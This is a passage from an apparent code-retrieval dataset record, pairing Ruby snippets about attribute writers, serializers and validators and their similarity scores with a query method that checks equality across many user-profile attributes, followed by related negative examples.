"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Checks equality by comparing each attribute. | def ==(o)
return true if self.equal?(o)
self.class == o.class &&
admin_flag == o.admin_flag &&
allow_expenses_entered_against_companies_flag == o.allow_expenses_entered_against_companies_flag &&
allow_in_cell_entry_on_time_sheet == o.allow_in_cell_entry_on_time_sheet &&
billable_forecast == o.billable_forecast &&
calendar == o.calendar &&
calendar_sync_integration_flag == o.calendar_sync_integration_flag &&
country == o.country &&
daily_capacity == o.daily_capacity &&
days_tolerance == o.days_tolerance &&
default_department_id == o.default_department_id &&
default_email == o.default_email &&
default_location_id == o.default_location_id &&
default_phone == o.default_phone &&
disable_online_flag == o.disable_online_flag &&
enable_ldap_authentication_flag == o.enable_ldap_authentication_flag &&
enable_mobile_flag == o.enable_mobile_flag &&
enable_mobile_gps_flag == o.enable_mobile_gps_flag &&
enter_time_against_company_flag == o.enter_time_against_company_flag &&
expense_approver == o.expense_approver &&
first_name == o.first_name &&
hide_member_in_dispatch_portal_flag == o.hide_member_in_dispatch_portal_flag &&
hire_date == o.hire_date &&
home_email == o.home_email &&
home_extension == o.home_extension &&
home_phone == o.home_phone &&
hourly_cost == o.hourly_cost &&
hourly_rate == o.hourly_rate &&
id == o.id &&
identifier == o.identifier &&
inactive_date == o.inactive_date &&
inactive_flag == o.inactive_flag &&
include_in_utilization_reporting_flag == o.include_in_utilization_reporting_flag &&
last_login == o.last_login &&
last_name == o.last_name &&
license_class == o.license_class &&
mapi_name == o.mapi_name &&
middle_initial == o.middle_initial &&
minimum_hours == o.minimum_hours &&
mobile_email == o.mobile_email &&
mobile_extension == o.mobile_extension &&
mobile_phone == o.mobile_phone &&
notes == o.notes &&
office_email == o.office_email &&
office_extension == o.office_extension &&
office_phone == o.office_phone &&
project_default_board == o.project_default_board &&
project_default_department_id == o.project_default_department_id &&
project_default_location_id == o.project_default_location_id &&
reports_to == o.reports_to &&
require_expense_entry_flag == o.require_expense_entry_flag &&
require_start_and_end_time_on_time_entry_flag == o.require_start_and_end_time_on_time_entry_flag &&
require_time_sheet_entry_flag == o.require_time_sheet_entry_flag &&
restrict_default_sales_territory_flag == o.restrict_default_sales_territory_flag &&
restrict_default_warehouse_bin_flag == o.restrict_default_warehouse_bin_flag &&
restrict_default_warehouse_flag == o.restrict_default_warehouse_flag &&
restrict_department_flag == o.restrict_department_flag &&
restrict_location_flag == o.restrict_location_flag &&
restrict_project_default_department_flag == o.restrict_project_default_department_flag &&
restrict_project_default_location_flag == o.restrict_project_default_location_flag &&
restrict_schedule_flag == o.restrict_schedule_flag &&
restrict_service_default_department_flag == o.restrict_service_default_department_flag &&
restrict_service_default_location_flag == o.restrict_service_default_location_flag &&
sales_default_location_id == o.sales_default_location_id &&
schedule_capacity == o.schedule_capacity &&
schedule_default_department_id == o.schedule_default_department_id &&
schedule_default_location_id == o.schedule_default_location_id &&
security_level == o.security_level &&
security_location_id == o.security_location_id &&
security_role == o.security_role &&
service_default_board == o.service_default_board &&
service_default_department_id == o.service_default_department_id &&
service_default_location_id == o.service_default_location_id &&
service_location == o.service_location &&
service_teams == o.service_teams &&
time_approver == o.time_approver &&
time_reminder_email_flag == o.time_reminder_email_flag &&
time_sheet_start_date == o.time_sheet_start_date &&
time_zone == o.time_zone &&
title == o.title &&
type == o.type &&
vendor_number == o.vendor_number &&
warehouse == o.warehouse &&
warehouse_bin == o.warehouse_bin &&
work_role == o.work_role &&
work_type == o.work_type &&
_info == o._info &&
system_flag == o.system_flag
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ==(other)\n attributes == other.attributes\n end",
"def ==(other) # :nodoc:\n @attrs == other.attrs\n end",
"def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end",
"def assert_equal_attributes(object, expected_attributes)\n expected_attributes.each do |index, value|\n assert_equal value, object[index], \"#{index}\"\n end\n end",
"def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end",
"def same_attributes?(spec)\n @@attributes.all? {|name, default| self.send(name) == spec.send(name) }\n end",
"def ==(other)\n self.class.valid_attrs.each do |attr|\n return false if read(attr) != other.read(attr)\n end\n true\n end",
"def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end",
"def ==(other)\n other.present? && self.attributes == other.attributes\n end",
"def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end",
"def match?(attributes)\n attributes.each do |attr, val|\n return false if send(attr).to_s != val.to_s\n end\n true\n end",
"def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.send(name) }\n end",
"def changed?(comparison)\n attributes.any? do |attribute, value|\n next unless comparison.key?(attribute)\n comparison[attribute] != value\n end\n end",
"def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end",
"def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end",
"def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n Attribute === other && \n !(Expression === other) &&\n relation == other.relation && \n name == other.name && \n self.alias == other.alias && \n original_relation == other.original_relation\n end",
"def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def ==(other)\n case other\n when Chair::Row\n @attributes == other.instance_variable_get('@attributes')\n when Array\n @attributes.values == other\n else false\n end\n end",
"def == other\n return false unless other.kind_of? self.class\n attribute_of.all? do |key, val|\n val.get == other.__send__(key)\n end\n end",
"def correct_combination?(attr1, attr2, attr3)\n result = false\n if attr1 == attr2 && attr2 == attr3\n result = true\n elsif attr1 != attr2 && attr2 != attr3 && attr1 != attr3\n result = true\n end\n return result\n end",
"def ==(other)\n return false if self.class != other.class\n return super if @_lazer_model.required_properties.empty?\n @_lazer_model.required_properties.each do |key_name|\n return false if read_attribute(key_name) != other.read_attribute(key_name)\n end\n true\n end",
"def eql?(other)\n other.is_a?(self.class) && !self.class.comparison_attrs.find{|a| send(a) != other.send(a)}\n end",
"def verify_attributes(hash, expected)\n return [] unless expected.attributes\n expected.attributes.map{ |a| verify_attribute_value(hash[a.name.to_s], a) }\n end",
"def assert_attributes obj, attr_hash\n default_attr_hash = {}\n if obj.respond_to? :default_attr_hash\n default_attr_hash = obj.default_attr_hash\n end\n default_attr_hash.merge(attr_hash).each_pair do |key, value|\n assert_equal value, obj.__send__(key), \"Attribute #{key} of #{obj}\"\n end\n end",
"def match_attributes(attrs)\n attrs = Saxxy::Helpers.stringify_keys(attrs)\n attributes.reduce(true) do |b, (k, v)|\n value = attrs[k]\n b && ((!value.nil? && match(v, value)) || (v.nil? && value.nil?))\n end\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end",
"def ===(other)\n required = self.class.required_attributes\n\n other.respond_to?(:keys) && (common = other.keys & required) &&\n common.size == other.keys.size && common.size == required.size\n end",
"def bt_same_value?(other)\n bt_value_attributes == other.bt_value_attributes\n end",
"def ==(x)\n return true if object_id == x.object_id\n return false unless x.kind_of?(AttrArray)\n each_with_index do |a, n|\n return false unless a == x[n]\n end\n true\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left == right, message)\n end",
"def compare_attributes(data_criteria, criteria)\n return false unless data_criteria['dataElementAttributes']&.any?\n\n data_criteria['dataElementAttributes'].map { |dc| dc.except('_id') }.include? criteria['dataElementAttributes'][attribute_index].except('_id')\n end",
"def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end",
"def ==(other)\n other.is_a?(self.class) &&\n other.attribute == attribute &&\n other.validation == validation &&\n other.expected == expected &&\n other.actual == actual\n end",
"def == other\n return false unless self.class == other.class\n [:unit, :frequency, :anchor, :weeks, :monthdays, :weekdays, :times].all? do |attribute|\n self.send(attribute) == other.send(attribute)\n end\n end",
"def compare_equal?(item, line_item)\n ![\n :ax_account_number,\n :ax_account_id,\n :ax_order_number,\n :ax_order_id,\n :email_address,\n :first_name,\n :last_name,\n :serial_number,\n :purch_order_form_num\n ].detect { |attr| item.send(attr) != line_item.send(attr) }\n end",
"def ==(b) # :nodoc:\n ( b.respond_to?(:result_attributes) &&\n result_attributes == b.result_attributes && \n @result_attributes.all?{ |k| send(k) == b.send(k) } )\n end",
"def validates_different(*attr_names)\n validates_with ValidatesAll::DifferenceValidator, _merge_attributes(attr_names)\n end",
"def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end",
"def diff?(model = self.class.find(id))\n self.class.diffable_attributes.each do |attribute|\n return true if send(attribute) != model.send(attribute)\n end\n return false\n end",
"def filter_attributes_match?(hash_one, hash_two)\n hash_one.all? do |key, value_one|\n value_two = hash_two[key]\n case\n when value_one == value_two\n true\n when value_one.is_a?(Hash) && value_two.is_a?(Hash)\n filter_attributes_match?(value_one, value_two)\n when hash_one[key].to_s == hash_two[key].to_s\n true\n when value_one.is_a?(String) && value_one.start_with?(\"eval:\")\n eval_attribute_value(value_one, value_two)\n else\n false\n end\n end\n end",
"def comparable_attributes\n#\t\tHashWithIndifferentAccess[attributes.select {|k,v| \n#\t\t\t!Abstract.incomparable_attribute_names.include?(k)}]\n\t\tHashWithIndifferentAccess[attributes.select {|k,v| db_fields.include?(k)}]\n\tend",
"def all_equal?\n a = self.first\n all? { |b| a == b }\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def attr_set?(cards, attr)\n array = []\n cards.each do |card|\n # evalutes the string 'attr' and returns the value\n array << card.send(attr)\n end\n\n # only return true if it's all the same or totally different\n return true if array.uniq.count == 1\n return true if array.uniq.count == 3\n return false\n end",
"def attribute_changed?(attribute_name)\n (self.diff['attributes']['new']||{})[attribute] != (self.diff['attributes']['old']||{})[attribute]\n end",
"def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end",
"def eql?(other)\n return false unless self.class == other.class\n self.key_attributes == other.key_attributes\n end",
"def uniquify_attributes(attributes)\n attributes.each do |ka|\n oldval = send(ka)\n next unless String === oldval\n newval = UniquifierCache.instance.get(self, oldval)\n set_property_value(ka, newval)\n logger.debug { \"Reset #{qp} #{ka} from #{oldval} to unique value #{newval}.\" }\n end\n end",
"def eql?(object)\n self.class.equal?(object.class) && attributes == object.attributes\n end",
"def multi_element_attr_check( elements )\n wanted = Array.new\n found = Array.new\n elements.each do |element|\n print \".\"\n e = $driver.find_element(element[0].to_sym, element[1])\n wanted << [ element[1], element[2], element[3] ]\n found << [ element[1], element[2], e.attribute(element[2]) ]\n end\n\n found.should == wanted\n end",
"def equals(rule)\n element == rule.element && attributes == rule.attributes\n end",
"def attr_reader(*args)\n super\n comparison_attrs.concat(args)\n end",
"def xml_nodes_match_attrs(xml_nodes, attrs, mismatches = [])\n attrs.each_with_index.each { |attr_set, idx|\n xn = xml_nodes[idx]\n attr_set.each { |(attr_key, attr_val)|\n # Either call method, or hash key, or recurse on children\n # p.name vs. p[:name]\n if :children == attr_key\n # recurse over children\n xml_nodes_match_attrs(xn.children, attr_val, mismatches)\n else\n # compare attrs\n xn_val = xn.methods.include?(attr_key) ? xn.send(attr_key) : xn[attr_key]\n if xn_val != attr_val\n mismatches << { node: xn.name_and_class_path, attr: \"#{ attr_key }: expected #{ attr_val.inspect }, got #{ xn_val.inspect }\" }\n end\n end\n }\n }\n mismatches\n end",
"def matches_state_attrs?\n @expected_attrs == state_attrs\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left != right, message)\n end",
"def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end",
"def ==(other)\n return true if other.equal?(self)\n return false unless other.instance_of?(self.class)\n\n self.class.attributes.inject(true) do |memo, attribute|\n attribute_name = attribute.first\n attribute_type = attribute.last[:type]\n\n # Skip associations\n if attribute_type.include?(LazyResource::Resource) || (attribute_type.is_a?(::Array) && attribute_type.first.include?(LazyResource::Resource))\n memo\n else\n memo && self.send(:\"#{attribute_name}\") == other.send(:\"#{attribute_name}\")\n end\n end\n end",
"def matches? item, attributes\n\n attributes.map { |attribute, value|\n\n item.send(attribute) == value\n\n }.flatten == [true]\n\n end",
"def ==( other ) \n\t\t\tcomparison_attributes = lambda{ |area| [ area.area_desc, area.altitude, area.ceiling, area.circles, area.geocodes, area.polygons ]}\n\t\t\tcomparison_attributes.call( self ) == comparison_attributes.call( other )\n\t\tend",
"def all_obs_same_attr?(observations, attr)\n exemplar = observations.first.send(attr)\n observations.all? { |o| o.send(attr) == exemplar }\n end",
"def eql?(*) end",
"def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end",
"def match\n @matches = attributes_enumerator.map do |(type, value), index|\n attribute_name = self.class.names[index]\n attributes.store(\n attribute_name, type.match(value, context: @context.dup)\n )\n end\n return if (failures = @matches.select(&:invalid?)).empty?\n failures.unshift(failure).reduce(:merge!)\n end",
"def ==(val)\n if val.is_a?(Model)\n # Use normal comparison for a model\n super\n else\n # Compare to attributes otherwise\n attributes == val\n end\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attribute == o.attribute &&\n statistics == o.statistics &&\n other == o.other &&\n total == o.total &&\n missing == o.missing &&\n term_count == o.term_count &&\n term_type == o.term_type &&\n terms == o.terms\n end",
"def ==(*several_variants)\n #This is a stub, used for indexing\n end",
"def is_equal?(a)\n @amount == a.amount && @code == a.code\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left == right, message)\n end",
"def comparison_attributes\n except_list = ['id', 'updated_at', 'created_at', 'verified_at']\n except_list << 'alternative_phone' unless Spree::Config[:alternative_shipping_phone]\n except_list << 'company' unless Spree::Config[:company]\n\n a = attributes.except(*except_list)\n a.each{|k, v|\n if v.is_a?(String)\n v = v.downcase.strip.gsub(/\\s+/, ' ')\n a[k] = v.present? ? v : nil\n end\n }\n a['state_name'] = nil if a['state_name'].blank?\n a\n end",
"def multi_element_attr_match( elements )\n elements.each do |element|\n print \".\"\n wait_for_element(element[0].to_sym, element[1])\n check_attribute_match(element[0].to_sym, element[1], element[2], element[3])\n end\n end",
"def xml_should_eql(actual, expected)\n same = xml_cmp(actual, expected)\n actual.should.== expected unless same \nend",
"def test_equality_simple\n value1_ = ::Versionomy.create(:major => 2, :minor => 0, :release_type => :alpha, :alpha_version => 5)\n value2_ = ::Versionomy.create(:major => 2, :release_type => :alpha, :alpha_version => 5)\n assert_equal(value2_, value1_)\n assert_equal(value2_.hash, value1_.hash)\n end",
"def ==(other)\n other.is_a?(self.class) &&\n name == other.name &&\n attributes == other.attributes\n end",
"def changes(attrs1, attrs2)\n old_attrs = attrs1.slice(*GENERATED_ATTRS)\n new_attrs = attrs2.slice(*GENERATED_ATTRS)\n\n return if old_attrs == new_attrs\n old_attrs.each do |k, v|\n next if new_attrs[k] == v\n @changes << Change.new(nil, k, v, new_attrs[k]) \n end\n end",
"def tdiff_equal(node)\n if (self.class == node.class)\n case node\n when Nokogiri::XML::Attr\n (self.name == node.name && self.value == node.value)\n when Nokogiri::XML::Element, Nokogiri::XML::DTD\n self.name == node.name\n when Nokogiri::XML::Text, Nokogiri::XML::Comment\n self.text == node.text\n when Nokogiri::XML::ProcessingInstruction\n (self.name == node.name && self.content = self.content)\n else\n false\n end\n else\n false\n end\n end",
"def ==(other)\n name == other.name &&\n color == other.color &&\n age == other.age\n end",
"def more_desirable?(attribute_id1, attribute_id2)\n attribute_id1 < attribute_id2\n end",
"def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end",
"def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == other.attributes[\"_id\"]\n end",
"def assert_same_values(expected, actual)\n actual.each_pair do |k,v|\n next unless expected[k]\n assert_equal expected[k], v, \"Values for #{k} are not matching\"\n end\n end",
"def assert_equivalent_xml(expected, actual)\n expected_xml = Nokogiri::XML(\"<test-xml>\\n#{expected}\\n</test-xml>\")\n actual_xml = Nokogiri::XML(\"<test-xml>\\n#{actual}\\n</test-xml>\")\n ignored_attributes = %w(style data-disable-with)\n\n equivalent = EquivalentXml.equivalent?(expected_xml, actual_xml, {\n ignore_attr_values: ignored_attributes\n }) do |a, b, result|\n if result === false && b.is_a?(Nokogiri::XML::Element)\n if b.attr('name') == 'utf8'\n # Handle wrapped utf8 hidden field for Rails 4.2+\n result = EquivalentXml.equivalent?(a.child, b)\n end\n if b.delete('data-disable-with')\n # Remove data-disable-with for Rails 5+\n # Workaround because ignoring in EquivalentXml doesn't work\n result = EquivalentXml.equivalent?(a, b)\n end\n if a.attr('type') == 'datetime' && b.attr('type') == 'datetime-local'\n a.delete('type')\n b.delete('type')\n # Handle new datetime type for Rails 5+\n result = EquivalentXml.equivalent?(a, b)\n end\n end\n result\n end\n\n assert equivalent, lambda {\n # using a lambda because diffing is expensive\n Diffy::Diff.new(\n sort_attributes(expected_xml.root),\n sort_attributes(actual_xml.root)\n ).to_s(:color)\n }\n end",
"def sync_duplicate_obj_attributes(obj1, obj2)\n duplicate_keys.each do |key|\n unless obj1[key].blank? && obj2[key].blank?\n if obj1[key].blank?\n obj1.send(\"#{key}=\", obj2[key])\n elsif obj2[key].blank?\n obj2.send(\"#{key}=\", obj1[key])\n else # Each obj has a value\n if obj1[key] != obj2[key]\n raise ArgumentError, \"#{key} attribute values on the two objects don't match: #{obj1[key]} vs #{obj2[key]}\"\n end\n end\n end\n end\n end",
